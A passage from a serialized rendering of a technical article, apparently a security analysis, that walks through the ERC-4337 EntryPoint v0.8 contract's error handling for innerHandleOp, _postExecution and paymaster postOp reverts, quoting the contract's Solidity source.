",{"type":21,"tag":153,"props":107404,"children":107405},{"style":198},[107406],{"type":26,"value":24299},{"type":21,"tag":153,"props":107408,"children":107409},{"style":181},[107410],{"type":26,"value":107411}," mload",{"type":21,"tag":153,"props":107413,"children":107414},{"style":160},[107415],{"type":26,"value":189},{"type":21,"tag":153,"props":107417,"children":107418},{"style":300},[107419],{"type":26,"value":2996},{"type":21,"tag":153,"props":107421,"children":107422},{"style":160},[107423],{"type":26,"value":5909},{"type":21,"tag":153,"props":107425,"children":107426},{"class":155,"line":3364},[107427],{"type":21,"tag":153,"props":107428,"children":107429},{"style":160},[107430],{"type":26,"value":61177},{"type":21,"tag":153,"props":107432,"children":107433},{"class":155,"line":3376},[107434,107439],{"type":21,"tag":153,"props":107435,"children":107436},{"style":181},[107437],{"type":26,"value":107438},"            _restoreFreePtr",{"type":21,"tag":153,"props":107440,"children":107441},{"style":160},[107442],{"type":26,"value":107443},"(saveFreePtr);\n",{"type":21,"tag":153,"props":107445,"children":107446},{"class":155,"line":3393},[107447],{"type":21,"tag":153,"props":107448,"children":107449},{"style":160},[107450],{"type":26,"value":2765},{"type":21,"tag":153,"props":107452,"children":107453},{"class":155,"line":3405},[107454,107458,107462,107466],{"type":21,"tag":153,"props":107455,"children":107456},{"style":1751},[107457],{"type":26,"value":2607},{"type":21,"tag":153,"props":107459,"children":107460},{"style":160},[107461],{"type":26,"value":5820},{"type":21,"tag":153,"props":107463,"children":107464},{"style":198},[107465],{"type":26,"value":23315},{"type":21,"tag":153,"props":107467,"children":107468},{"style":160},[107469],{"type":26,"value":107470},"success) {\n",{"type":21,"tag":153,"props":107472,"children":107473},{"class":155,"line":3427},[107474],{"type":21,"tag":153,"props":107475,"children":107476},{"style":160},[107477],{"type":26,"value":107098},{"type":21,"tag":153,"props":107479,"children":107480},{"class":155,"line":3448},[107481,107485,107490,107494],{"type":21,"tag":153,"props":107482,"children":107483},{"style":1751},[107484],{"type":26,"value":61093},{"type":21,"tag":153,"props":107486,"children":107487},{"style":160},[107488],{"type":26,"value":107489}," (innerRevertCode ",{"type":21,"tag":153,"props":107491,"children":107492},{"style":198},[107493],{"type":26,"value":1694},{"type":21,"tag":153,"props":107495,"children":107496},{"style":160},[107497],{"type":26,"value":107498}," INNER_OUT_OF_GAS) {\n",{"type":21,"tag":153,"props":107500,"children":107501},{"class":155,"line":3456},[107502],{"type":21,"tag":153,"props":107503,"children":107504},{"style":3050},[107505],{"type":26,"value":107506},"                // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":21,"tag":153,"props":107508,"children":107509},{"class":155,"line":3493},[107510],{"type":21,"tag":153,"props":107511,"children":107512},{"style":3050},[107513],{"type":26,"value":107514},"                // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":21,"tag":153,"props":107516,"children":107517},{"class":155,"line":3509},[107518,107523,107528,107533,107538],{"type":21,"tag":153,"props":107519,"children":107520},{"style":1751},[107521],{"type":26,"value":107522},"                revert",{"type":21,"tag":153,"props":107524,"children":107525},{"style":181},[107526],{"type":26,"value":107527}," FailedOp",{"type":21,"tag":153,"props":107529,"children":107530},{"style":160},[107531],{"type":26,"value":107532},"(opIndex, ",{"type":21,"tag":153,"props":107534,"children":107535},{"style":671},[107536],{"type":26,"value":107537},"\"AA95 out of gas\"",{"type":21,"tag":153,"props":107539,"children":107540},{"style":160},[107541],{"type":26,"value":530},{"type":21,"tag":153,"props":107543,"children":107544},{"class":155,"line":3517},[107545,107549,107553,107557,107561,107565],{"type":21,"tag":153,"props":107546,"children":107547},{"style":160},[107548],{"type":26,"value":72889},{"type":21,"tag":153,"props":107550,"children":107551},{"style":1751},[107552],{"type":26,"value":2717},{"type":21,"tag":153,"props":107554,"children":107555},{"style":1751},[107556],{"type":26,"value":18485},{"type":21,"tag":153,"props":107558,"children":107559},{"style":160},[107560],{"type":26,"value":107489},{"type":21,"tag":153,"props":107562,"children":107563},{"style":198},[107564],{"type":26,"value":1694},{"type":21,"tag":153,"props":107566,"children":107567},{"style":160},[107568],{"type":26,"value":107569}," INNER_REVERT_LOW_PREFUND) {\n",{"type":21,"tag":153,"props":107571,"children":107572},{"class":155,"line":3526},[107573],{"type":21,"tag":153,"props":107574,"children":107575},{"style":3050},[107576],{"type":26,"value":107577},"                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":21,"tag":153,"props":107579,"children":107580},{"class":155,"line":3607},[107581,107585,107590,107594,107599,107603,107608,107612,107616],{"type":21,"tag":153,"props":107582,"children":107583},{"style":214},[107584],{"type":26,"value":105757},{"type":21,"tag":153,"props":107586,"children":107587},{"style":160},[107588],{"type":26,"value":107589}," actualGas ",{"type":21,"tag":153,"props":107591,"children":107592},{"style":198},[107593],{"type":26,"value":2367},{"type":21,"tag":153,"props":107595,"children":107596},{"style":160},[107597],{"type":26,"value":107598}," preGas ",{"type":21,"tag":153,"props":107600,"children":107601},{"style":198},[107602],{"type":26,"value":3873},{"type":21,"tag":153,"props":107604,"children":107605},{"style":170},[107606],{"type":26,"value":107607}," gasleft",{"type":21,"tag":153,"props":107609,"children":107610},{"style":160},[107611],{"type":26,"value":2461},{"type":21,"tag":153,"props":107613,"children":107614},{"style":198},[107615],{"type":26,"value":4099},{"type":21,"tag":153,"props":107617,"children":107618},{"style":160},[107619],{"type":26,"value":107620}," opInfo.preOpGas;\n",{"type":21,"tag":153,"props":107622,"children":107623},{"class":155,"line":3615},[107624,107628,107632,107636],{"type":21,"tag":153,"props":107625,"children":107626},{"style":214},[107627],{"type":26,"value":105757},{"type":21,"tag":153,"props":107629,"children":107630},{"style":160},[107631],{"type":26,"value":106404},{"type":21,"tag":153,"props":107633,"children":107634},{"style":198},[107635],{"type":26,"value":2367},{"type":21,"tag":153,"props":107637,"children":107638},{"style":160},[107639],{"type":26,"value":107640}," opInfo.prefund;\n",{"type":21,"tag":153,"props":107642,"children":107643},{"class":155,"line":3629},[107644,107649],{"type":21,"tag":153,"props":107645,"children":107646},{"style":181},[107647],{"type":26,"value":107648},"                _emitPrefundTooLow",{"type":21,"tag":153,"props":107650,"children":107651},{"style":160},[107652],{"type":26,"value":107653},"(opInfo);\n",{"type":21,"tag":153,"props":107655,"children":107656},{"class":155,"line":26297},[107657,107662,107667,107671],{"type":21,"tag":153,"props":107658,"children":107659},{"style":181},[107660],{"type":26,"value":107661},"                _emitUserOperationEvent",{"type":21,"tag":153,"props":107663,"children":107664},{"style":160},[107665],{"type":26,"value":107666},"(opInfo, ",{"type":21,"tag":153,"props":107668,"children":107669},{"style":170},[107670],{"type":26,"value":10901},{"type":21,"tag":153,"props":107672,"children":107673},{"style":160},[107674],{"type":26,"value":107675},", actualGasCost, actualGas);\n",{"type":21,"tag":153,"props":107677,"children":107678},{"class":155,"line":26330},[107679,107683,107687],{"type":21,"tag":153,"props":107680,"children":107681},{"style":160},[107682],{"type":26,"value":107402},{"type":21,"tag":153,"props":107684,"children":107685},{"style":198},[107686],{"type":26,"value":2367},{"type":21,"tag":153,"props":107688,"children":107689},{"style":160},[107690],{"type":26,"value":107691}," actualGasCost;\n",{"type":21,"tag":153,"props":107693,"children":107694},{"class":155,"line":26338},[107695,107699,107703],{"type":21,"tag":153,"props":107696,"children":107697},{"style":160},[107698],{"type":26,"value":72889},{"type":21,"tag":153,"props":107700,"children":107701},{"style":1751},[107702],{"type":26,"value":2717},{"type":21,"tag":153,"props":107704,"children":107705},{"style":160},[107706],{"type":26,"value":236},{"type":21,"tag":153,"props":107708,"children":107709},{"class":155,"line":26346},[107710],{"type":21,"tag":153,"props":107711,"children":107712},{"style":160},[107713],{"type":26,"value":107098},{"type":21,"tag":153,"props":107715,"children":107716},{"class":155,"line":26355},[107717,107721,107725,107730],{"type":21,"tag":153,"props":107718,"children":107719},{"style":160},[107720],{"type":26,"value":107402},{"type":21,"tag":153,"props":107722,"children":107723},{"style":198},[107724],{"type":26,"value":2367},{"type":21,"tag":153,"props":107726,"children":107727},{"style":181},[107728],{"type":26,"value":107729}," _postExecution",{"type":21,"tag":153,"props":107731,"children":107732},{"style":160},[107733],{"type":26,"value":773},{"type":21,"tag":153,"props":107735,"children":107736},{"class":155,"line":26431},[107737],{"type":21,"tag":153,"props":107738,"children":107739},{"style":160},[107740],{"type":26,"value":107741},"                    IPaymaster.PostOpMode.postOpReverted,\n",{"type":21,"tag":153,"props":107743,"children":107744},{"class":155,"line":26464},[107745],{"type":21,"tag":153,"props":107746,"children":107747},{"style":160},[107748],{"type":26,"value":107749},"                    opInfo,\n",{"type":21,"tag":153,"props":107751,"children":107752},{"class":155,"line":26472},[107753],{"type":21,"tag":153,"props":107754,"children":107755},{"style":160},[107756],{"type":26,"value":107757},"                    context,\n",{"type":21,"tag":153,"props":107759,"children":107760},{"class":155,"line":26480},[107761],{"type":21,"tag":153,"props":107762,"children":107763},{"style":160},[107764],{"type":26,"value":107765},"                    actualGas\n",{"type":21,"tag":153,"props":107767,"children":107768},{"class":155,"line":26517},[107769],{"type":21,"tag":153,"props":107770,"children":107771},{"style":160},[107772],{"type":26,"value":107773},"                );\n",{"type":21,"tag":153,"props":107775,"children":107776},{"class":155,"line":26530},[107777],{"type":21,"tag":153,"props":107778,"children":107779},{"style":160},[107780],{"type":26,"value":61177},{"type":21,"tag":153,"props":107782,"children":107783},{"class":155,"line":26543},[107784],{"type":21,"tag":153,"props":107785,"children":107786},{"style":160},[107787],{"type":26,"value":2765},{"type":21,"tag":153,"props":107789,"children":107790},{"class":155,"line":26556},[107791],{"type":21,"tag":153,"props":107792,"children":107793},{"style":160},[107794],{"type":26,"value":539},{"type":21,"tag":22,"props":107796,"children":107797},{},[107798,107800,107805,107807,107813,107815,107821,107823,107829],{"type":26,"value":107799},"During execution, the ",{"type":21,"tag":78,"props":107801,"children":107803},{"className":107802},[],[107804],{"type":26,"value":104560},{"type":26,"value":107806}," contract makes a ",{"type":21,"tag":29,"props":107808,"children":107811},{"href":107809,"rel":107810},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[33],[107812],{"type":26,"value":3784},{"type":26,"value":107814}," to its own ",{"type":21,"tag":78,"props":107816,"children":107818},{"className":107817},[],[107819],{"type":26,"value":107820},"innerHandleOp",{"type":26,"value":107822}," function through a low-level ",{"type":21,"tag":78,"props":107824,"children":107826},{"className":107825},[],[107827],{"type":26,"value":107828},"call()",{"type":26,"value":107830},". This is done to create a new call context for executing the user operation.",{"type":21,"tag":22,"props":107832,"children":107833},{},[107834,107836,107842,107843,107848,107850,107857,107859,107865],{"type":26,"value":107835},"If this call fails (when ",{"type":21,"tag":78,"props":107837,"children":107839},{"className":107838},[],[107840],{"type":26,"value":107841},"success",{"type":26,"value":8232},{"type":21,"tag":78,"props":107844,"children":107846},{"className":107845},[],[107847],{"type":26,"value":10901},{"type":26,"value":107849},"), the code enters an ",{"type":21,"tag":29,"props":107851,"children":107854},{"href":107852,"rel":107853},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[33],[107855],{"type":26,"value":107856},"error handling",{"type":26,"value":107858}," flow that checks the ",{"type":21,"tag":78,"props":107860,"children":107862},{"className":107861},[],[107863],{"type":26,"value":107864},"innerRevertCode",{"type":26,"value":107866},". There are three possible paths:",{"type":21,"tag":126,"props":107868,"children":107869},{},[107870,107894,107912],{"type":21,"tag":91,"props":107871,"children":107872},{},[107873,107874,107879,107880,107886,107888,107893],{"type":26,"value":133},{"type":21,"tag":78,"props":107875,"children":107877},{"className":107876},[],[107878],{"type":26,"value":107864},{"type":26,"value":8232},{"type":21,"tag":78,"props":107881,"children":107883},{"className":107882},[],[107884],{"type":26,"value":107885},"INNER_OUT_OF_GAS",{"type":26,"value":107887},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":21,"tag":78,"props":107889,"children":107891},{"className":107890},[],[107892],{"type":26,"value":107537},{"type":26,"value":355},{"type":21,"tag":91,"props":107895,"children":107896},{},[107897,107898,107903,107904,107910],{"type":26,"value":133},{"type":21,"tag":78,"props":107899,"children":107901},{"className":107900},[],[107902],{"type":26,"value":107864},{"type":26,"value":8232},{"type":21,"tag":78,"props":107905,"children":107907},{"className":107906},[],[107908],{"type":26,"value":107909},"INNER_REVERT_LOW_PREFUND",{"type":26,"value":107911},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":21,"tag":91,"props":107913,"children":107914},{},[107915,107917,107923,107925,107931],{"type":26,"value":107916},"For any other revert reason, the code will still call ",{"type":21,"tag":78,"props":107918,"children":107920},{"className":107919},[],[107921],{"type":26,"value":107922},"_postExecution()",{"type":26,"value":107924}," but with ",{"type":21,"tag":78,"props":107926,"children":107928},{"className":107927},[],[107929],{"type":26,"value":107930},"PostOpMode.postOpReverted",{"type":26,"value":107932},". This ensures proper cleanup happens even on failure.",{"type":21,"tag":22,"props":107934,"children":107935},{},[107936,107938,107943,107945,107950,107952,107957,107959,107964],{"type":26,"value":107937},"We're particularly interested in the third error path, where ",{"type":21,"tag":78,"props":107939,"children":107941},{"className":107940},[],[107942],{"type":26,"value":107864},{"type":26,"value":107944}," is neither ",{"type":21,"tag":78,"props":107946,"children":107948},{"className":107947},[],[107949],{"type":26,"value":107885},{"type":26,"value":107951}," nor ",{"type":21,"tag":78,"props":107953,"children":107955},{"className":107954},[],[107956],{"type":26,"value":107909},{"type":26,"value":107958},". To understand this case better, let's examine how ",{"type":21,"tag":78,"props":107960,"children":107962},{"className":107961},[],[107963],{"type":26,"value":107820},{"type":26,"value":107965}," works.",{"type":21,"tag":143,"props":107967,"children":107969},{"className":7205,"code":107968,"language":7204,"meta":7,"style":7},"    function innerHandleOp(\n        bytes memory callData,\n        UserOpInfo memory opInfo,\n        bytes calldata context\n    ) external returns (uint256 actualGasCost) {\n    [...]\n        IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n        if (callData.length > 0) {\n            bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n            if (!success) {\n                uint256 freePtr = _getFreePtr();\n                bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                if (result.length > 0) {\n                    emit UserOperationRevertReason(\n                        opInfo.userOpHash,\n                        mUserOp.sender,\n                        mUserOp.nonce,\n                        result\n                    );\n                }\n                _restoreFreePtr(freePtr);\n                mode = IPaymaster.PostOpMode.opReverted;\n            }\n        }\n\n        unchecked {\n            uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n            return _postExecution(mode, opInfo, context, actualGas);\n        }\n    }\n",[107970],{"type":21,"tag":78,"props":107971,"children":107972},{"__ignoreMap":7},[107973,107989,108010,108030,108046,108079,108086,108103,108127,108167,108186,108211,108245,108269,108286,108294,108302,108310,108318,108326,108333,108346,108363,108370,108377,108384,108395,108434,108450,108457],{"type":21,"tag":153,"props":107974,"children":107975},{"class":155,"line":156},[107976,107980,107985],{"type":21,"tag":153,"props":107977,"children":107978},{"style":170},[107979],{"type":26,"value":92128},{"type":21,"tag":153,"props":107981,"children":107982},{"style":181},[107983],{"type":26,"value":107984}," innerHandleOp",{"type":21,"tag":153,"props":107986,"children":107987},{"style":160},[107988],{"type":26,"value":773},{"type":21,"tag":153,"props":107990,"children":107991},{"class":155,"line":166},[107992,107997,108001,108006],{"type":21,"tag":153,"props":107993,"children":107994},{"style":214},[107995],{"type":26,"value":107996},"        bytes",{"type":21,"tag":153,"props":107998,"children":107999},{"style":170},[108000],{"type":26,"value":105377},{"type":21,"tag":153,"props":108002,"children":108003},{"style":192},[108004],{"type":26,"value":108005}," callData",{"type":21,"tag":153,"props":108007,"children":108008},{"style":160},[108009],{"type":26,"value":792},{"type":21,"tag":153,"props":108011,"children":108012},{"class":155,"line":225},[108013,108017,108021,108026],{"type":21,"tag":153,"props":108014,"children":108015},{"style":170},[108016],{"type":26,"value":107037},{"type":21,"tag":153,"props":108018,"children":108019},{"style":170},[108020],{"type":26,"value":105377},{"type":21,"tag":153,"props":108022,"children":108023},{"style":192},[108024],{"type":26,"value":108025}," opInfo",{"type":21,"tag":153,"props":108027,"children":108028},{"style":160},[108029],{"type":26,"value":792},{"type":21,"tag":153,"props":108031,"children":108032},{"class":155,"line":239},[108033,108037,108041],{"type":21,"tag":153,"props":108034,"children":108035},{"style":214},[108036],{"type":26,"value":107996},{"type":21,"tag":153,"props":108038,"children":108039},{"style":170},[108040],{"type":26,"value":105309},{"type":21,"tag":153,"props":108042,"children":108043},{"style":192},[108044],{"type":26,"value":108045}," context\n",{"type":21,"tag":153,"props":108047,"children":108048},{"class":155,"line":382},[108049,108054,108059,108063,108067,108071,108075],{"type":21,"tag":153,"props":108050,"children":108051},{"style":160},[108052],{"type":26,"value":108053},"    ) ",{"type":21,"tag":153,"props":108055,"children":108056},{"style":170},[108057],{"type":26,"value":108058},"external",{"type":21,"tag":153,"props":108060,"children":108061},{"style":1751},[108062],{"type":26,"value":78290},{"type":21,"tag":153,"props":108064,"children":108065},{"style":160},[108066],{"type":26,"value":5820},{"type":21,"tag":153,"props":108068,"children":108069},{"style":214},[108070],{"type":26,"value":48457},{"type":21,"tag":153,"props":108072,"children":108073},{"style":192},[108074],{"type":26,"value":106118},{"type":21,"tag":153,"props":108076,"children":108077},{"style":160},[108078],{"type":26,"value":2659},{"type":21,"tag":153,"props":108080,"children":108081},{"class":155,"line":501},[108082],{"type":21,"tag":153,"props":108083,"children":108084},{"style":160},[108085],{"type":26,"value":107098},{"type":21,"tag":153,"props":108087,"children":108088},{"class":155,"line":533},[108089,108094,108098],{"type":21,"tag":153,"props":108090,"children":108091},{"style":160},[108092],{"type":26,"value":108093},"        IPaymaster.PostOpMode mode ",{"type":21,"tag":153,"props":108095,"children":108096},{"style":198},[108097],{"type":26,"value":2367},{"type":21,"tag":153,"props":108099,"children":108100},{"style":160},[108101],{"type":26,"value":108102}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":21,"tag":153,"props":108104,"children":108105},{"class":155,"line":542},[108106,108110,108115,108119,108123],{"type":21,"tag":153,"props":108107,"children":108108},{"style":1751},[108109],{"type":26,"value":2607},{"type":21,"tag":153,"props":108111,"children":108112},{"style":160},[108113],{"type":26,"value":108114}," (callData.length ",{"type":21,"tag":153,"props":108116,"children":108117},{"style":198},[108118],{"type":26,"value":13182},{"type":21,"tag":153,"props":108120,"children":108121},{"style":300},[108122],{"type":26,"value":5799},{"type":21,"tag":153,"props":108124,"children":108125},{"style":160},[108126],{"type":26,"value":2659},{"type":21,"tag":153,"props":108128,"children":108129},{"class":155,"line":762},[108130,108135,108140,108144,108149,108153,108158,108162],{"type":21,"tag":153,"props":108131,"children":108132},{"style":214},[108133],{"type":26,"value":108134},"            bool",{"type":21,"tag":153,"props":108136,"children":108137},{"style":160},[108138],{"type":26,"value":108139}," success ",{"type":21,"tag":153,"props":108141,"children":108142},{"style":198},[108143],{"type":26,"value":2367},{"type":21,"tag":153,"props":108145,"children":108146},{"style":160},[108147],{"type":26,"value":108148}," Exec.",{"type":21,"tag":153,"props":108150,"children":108151},{"style":181},[108152],{"type":26,"value":3784},{"type":21,"tag":153,"props":108154,"children":108155},{"style":160},[108156],{"type":26,"value":108157},"(mUserOp.sender, ",{"type":21,"tag":153,"props":108159,"children":108160},{"style":300},[108161],{"type":26,"value":2996},{"type":21,"tag":153,"props":108163,"children":108164},{"style":160},[108165],{"type":26,"value":108166},", callData, callGasLimit);\n",{"type":21,"tag":153,"props":108168,"children":108169},{"class":155,"line":776},[108170,108174,108178,108182],{"type":21,"tag":153,"props":108171,"children":108172},{"style":1751},[108173],{"type":26,"value":61093},{"type":21,"tag":153,"props":108175,"children":108176},{"style":160},[108177],{"type":26,"value":5820},{"type":21,"tag":153,"props":108179,"children":108180},{"style":198},[108181],{"type":26,"value":23315},{"type":21,"tag":153,"props":108183,"children":108184},{"style":160},[108185],{"type":26,"value":107470},{"type":21,"tag":153,"props":108187,"children":108188},{"class":155,"line":795},[108189,108193,108198,108202,108207],{"type":21,"tag":153,"props":108190,"children":108191},{"style":214},[108192],{"type":26,"value":105757},{"type":21,"tag":153,"props":108194,"children":108195},{"style":160},[108196],{"type":26,"value":108197}," freePtr ",{"type":21,"tag":153,"props":108199,"children":108200},{"style":198},[108201],{"type":26,"value":2367},{"type":21,"tag":153,"props":108203,"children":108204},{"style":181},[108205],{"type":26,"value":108206}," _getFreePtr",{"type":21,"tag":153,"props":108208,"children":108209},{"style":160},[108210],{"type":26,"value":839},{"type":21,"tag":153,"props":108212,"children":108213},{"class":155,"line":808},[108214,108218,108222,108227,108231,108235,108240],{"type":21,"tag":153,"props":108215,"children":108216},{"style":214},[108217],{"type":26,"value":107154},{"type":21,"tag":153,"props":108219,"children":108220},{"style":170},[108221],{"type":26,"value":105377},{"type":21,"tag":153,"props":108223,"children":108224},{"style":160},[108225],{"type":26,"value":108226}," result ",{"type":21,"tag":153,"props":108228,"children":108229},{"style":198},[108230],{"type":26,"value":2367},{"type":21,"tag":153,"props":108232,"children":108233},{"style":160},[108234],{"type":26,"value":108148},{"type":21,"tag":153,"props":108236,"children":108237},{"style":181},[108238],{"type":26,"value":108239},"getReturnData",{"type":21,"tag":153,"props":108241,"children":108242},{"style":160},[108243],{"type":26,"value":108244},"(REVERT_REASON_MAX_LEN);\n",{"type":21,"tag":153,"props":108246,"children":108247},{"class":155,"line":820},[108248,108252,108257,108261,108265],{"type":21,"tag":153,"props":108249,"children":108250},{"style":1751},[108251],{"type":26,"value":105817},{"type":21,"tag":153,"props":108253,"children":108254},{"style":160},[108255],{"type":26,"value":108256}," (result.length ",{"type":21,"tag":153,"props":108258,"children":108259},{"style":198},[108260],{"type":26,"value":13182},{"type":21,"tag":153,"props":108262,"children":108263},{"style":300},[108264],{"type":26,"value":5799},{"type":21,"tag":153,"props":108266,"children":108267},{"style":160},[108268],{"type":26,"value":2659},{"type":21,"tag":153,"props":108270,"children":108271},{"class":155,"line":842},[108272,108277,108282],{"type":21,"tag":153,"props":108273,"children":108274},{"style":1751},[108275],{"type":26,"value":108276},"                    emit",{"type":21,"tag":153,"props":108278,"children":108279},{"style":181},[108280],{"type":26,"value":108281}," UserOperationRevertReason",{"type":21,"tag":153,"props":108283,"children":108284},{"style":160},[108285],{"type":26,"value":773},{"type":21,"tag":153,"props":108287,"children":108288},{"class":155,"line":3204},[108289],{"type":21,"tag":153,"props":108290,"children":108291},{"style":160},[108292],{"type":26,"value":108293},"                        opInfo.userOpHash,\n",{"type":21,"tag":153,"props":108295,"children":108296},{"class":155,"line":3230},[108297],{"type":21,"tag":153,"props":108298,"children":108299},{"style":160},[108300],{"type":26,"value":108301},"                        mUserOp.sender,\n",{"type":21,"tag":153,"props":108303,"children":108304},{"class":155,"line":3239},[108305],{"type":21,"tag":153,"props":108306,"children":108307},{"style":160},[108308],{"type":26,"value":108309},"                        mUserOp.nonce,\n",{"type":21,"tag":153,"props":108311,"children":108312},{"class":155,"line":3253},[108313],{"type":21,"tag":153,"props":108314,"children":108315},{"style":160},[108316],{"type":26,"value":108317},"                        result\n",{"type":21,"tag":153,"props":108319,"children":108320},{"class":155,"line":3301},[108321],{"type":21,"tag":153,"props":108322,"children":108323},{"style":160},[108324],{"type":26,"value":108325},"                    );\n",{"type":21,"tag":153,"props":108327,"children":108328},{"class":155,"line":3346},[108329],{"type":21,"tag":153,"props":108330,"children":108331},{"style":160},[108332],{"type":26,"value":73366},{"type":21,"tag":153,"props":108334,"children":108335},{"class":155,"line":3355},[108336,108341],{"type":21,"tag":153,"props":108337,"children":108338},{"style":181},[108339],{"type":26,"value":108340},"                _restoreFreePtr",{"type":21,"tag":153,"props":108342,"children":108343},{"style":160},[108344],{"type":26,"value":108345},"(freePtr);\n",{"type":21,"tag":153,"props":108347,"children":108348},{"class":155,"line":3364},[108349,108354,108358],{"type":21,"tag":153,"props":108350,"children":108351},{"style":160},[108352],{"type":26,"value":108353},"                mode ",{"type":21,"tag":153,"props":108355,"children":108356},{"style":198},[108357],{"type":26,"value":2367},{"type":21,"tag":153,"props":108359,"children":108360},{"style":160},[108361],{"type":26,"value":108362}," IPaymaster.PostOpMode.opReverted;\n",{"type":21,"tag":153,"props":108364,"children":108365},{"class":155,"line":3376},[108366],{"type":21,"tag":153,"props":108367,"children":108368},{"style":160},[108369],{"type":26,"value":61177},{"type":21,"tag":153,"props":108371,"children":108372},{"class":155,"line":3393},[108373],{"type":21,"tag":153,"props":108374,"children":108375},{"style":160},[108376],{"type":26,"value":2765},{"type":21,"tag":153,"props":108378,"children":108379},{"class":155,"line":3405},[108380],{"type":21,"tag":153,"props":108381,"children":108382},{"emptyLinePlaceholder":16},[108383],{"type":26,"value":759},{"type":21,"tag":153,"props":108385,"children":108386},{"class":155,"line":3427},[108387,108391],{"type":21,"tag":153,"props":108388,"children":108389},{"style":1751},[108390],{"type":26,"value":105413},{"type":21,"tag":153,"props":108392,"children":108393},{"style":160},[108394],{"type":26,"value":236},{"type":21,"tag":153,"props":108396,"children":108397},{"class":155,"line":3448},[108398,108402,108406,108410,108414,108418,108422,108426,108430],{"type":21,"tag":153,"props":108399,"children":108400},{"style":214},[108401],{"type":26,"value":105425},{"type":21,"tag":153,"props":108403,"children":108404},{"style":160},[108405],{"type":26,"value":107589},{"type":21,"tag":153,"props":108407,"children":108408},{"style":198},[108409],{"type":26,"value":2367},{"type":21,"tag":153,"props":108411,"children":108412},{"style":160},[108413],{"type":26,"value":107598},{"type":21,"tag":153,"props":108415,"children":108416},{"style":198},[108417],{"type":26,"value":3873},{"type":21,"tag":153,"props":108419,"children":108420},{"style":170},[108421],{"type":26,"value":107607},{"type":21,"tag":153,"props":108423,"children":108424},{"style":160},[108425],{"type":26,"value":2461},{"type":21,"tag":153,"props":108427,"children":108428},{"style":198},[108429],{"type":26,"value":4099},{"type":21,"tag":153,"props":108431,"children":108432},{"style":160},[108433],{"type":26,"value":107620},{"type":21,"tag":153,"props":108435,"children":108436},{"class":155,"line":3456},[108437,108441,108445],{"type":21,"tag":153,"props":108438,"children":108439},{"style":1751},[108440],{"type":26,"value":81373},{"type":21,"tag":153,"props":108442,"children":108443},{"style":181},[108444],{"type":26,"value":107729},{"type":21,"tag":153,"props":108446,"children":108447},{"style":160},[108448],{"type":26,"value":108449},"(mode, opInfo, context, actualGas);\n",{"type":21,"tag":153,"props":108451,"children":108452},{"class":155,"line":3493},[108453],{"type":21,"tag":153,"props":108454,"children":108455},{"style":160},[108456],{"type":26,"value":2765},{"type":21,"tag":153,"props":108458,"children":108459},{"class":155,"line":3509},[108460],{"type":21,"tag":153,"props":108461,"children":108462},{"style":160},[108463],{"type":26,"value":539},{"type":21,"tag":22,"props":108465,"children":108466},{},[108467,108469,108474,108476,108481,108483,108489,108491,108497,108499,108504,108506,108516],{"type":26,"value":108468},"We observe that, in the happy path, ",{"type":21,"tag":78,"props":108470,"children":108472},{"className":108471},[],[108473],{"type":26,"value":107820},{"type":26,"value":108475}," is expected to not only execute the actual ",{"type":21,"tag":78,"props":108477,"children":108479},{"className":108478},[],[108480],{"type":26,"value":104479},{"type":26,"value":108482}," call, but also call ",{"type":21,"tag":78,"props":108484,"children":108486},{"className":108485},[],[108487],{"type":26,"value":108488},"_postExecution",{"type":26,"value":108490},". This means that the third failure handling path, which passes ",{"type":21,"tag":78,"props":108492,"children":108494},{"className":108493},[],[108495],{"type":26,"value":108496},"postOpReverted",{"type":26,"value":108498}," as its mode, happens when something goes wrong with the ",{"type":21,"tag":78,"props":108500,"children":108502},{"className":108501},[],[108503],{"type":26,"value":108488},{"type":26,"value":108505}," call ",{"type":21,"tag":8055,"props":108507,"children":108508},{},[108509,108511],{"type":26,"value":108510},"inside ",{"type":21,"tag":78,"props":108512,"children":108514},{"className":108513},[],[108515],{"type":26,"value":107820},{"type":26,"value":355},{"type":21,"tag":22,"props":108518,"children":108519},{},[108520,108522,108527],{"type":26,"value":108521},"Let's examine the ",{"type":21,"tag":78,"props":108523,"children":108525},{"className":108524},[],[108526],{"type":26,"value":108488},{"type":26,"value":108528}," code to understand where the revert might occur.",{"type":21,"tag":143,"props":108530,"children":108532},{"className":7205,"code":108531,"language":7204,"meta":7,"style":7},"    function _postExecution(\n        IPaymaster.PostOpMode mode,\n        UserOpInfo memory opInfo,\n        bytes memory context,\n        uint256 actualGas\n    ) internal virtual returns (uint256 actualGasCost) {\n    [...]\n            if (paymaster == address(0)) {\n                refundAddress = mUserOp.sender;\n            } else {\n                refundAddress = paymaster;\n                if (context.length > 0) {\n                    actualGasCost = actualGas * gasPrice;\n                    uint256 postOpPreGas = gasleft();\n                    if (mode != IPaymaster.PostOpMode.postOpReverted) {\n                        try IPaymaster(paymaster).postOp{\n                                gas: mUserOp.paymasterPostOpGasLimit\n                            }(mode, context, actualGasCost, gasPrice)\n                        // solhint-disable-next-line no-empty-blocks\n                        {} catch {\n                            bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                            revert PostOpReverted(reason);\n                        }\n                    }\n                    // Calculating a penalty for unused postOp gas\n                    // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n                    uint256 postOpGasUsed = postOpPreGas - gasleft();\n                    postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n                }\n            }\n    [...]\n    